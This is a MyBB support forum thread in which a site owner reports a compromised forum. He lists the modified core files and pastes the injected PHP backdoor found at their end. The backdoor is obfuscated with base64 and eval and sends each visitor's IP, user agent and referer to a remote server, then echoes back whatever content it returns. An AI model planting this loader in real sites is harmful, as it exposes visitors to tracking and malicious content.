MyBB Community Forums

I decided to start my own thread because I don't know for sure my problem is the same as the other ones.

Some of my members are experiencing problems with my forum, their virus scanners are giving alerts on the forum!

I've used the File Verification tool in the admincs, does this show all the pages which could have been infected with this code?

The results are (all have a changed status):

admin/modules/home/index.php
admin/index.php
archive/index.php
showthread.php
index.php
install/resources/language.lang.php
install/index.php

When I look into these files, at the bottom I find this piece of code:

    ?><?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

This seems to be the problem right?

But some of my users are also telling me other pages give some problems, but I can't seem to find any weird coding on those pages.

I've changed my FTP pass, but I don't really know what to do next. Should I remove the entire code I've placed here above?

The link to my forum is www.hetslangenforum.nl

Thanks!

you have the same problem as the others do. please follow the instructions in the existing threads.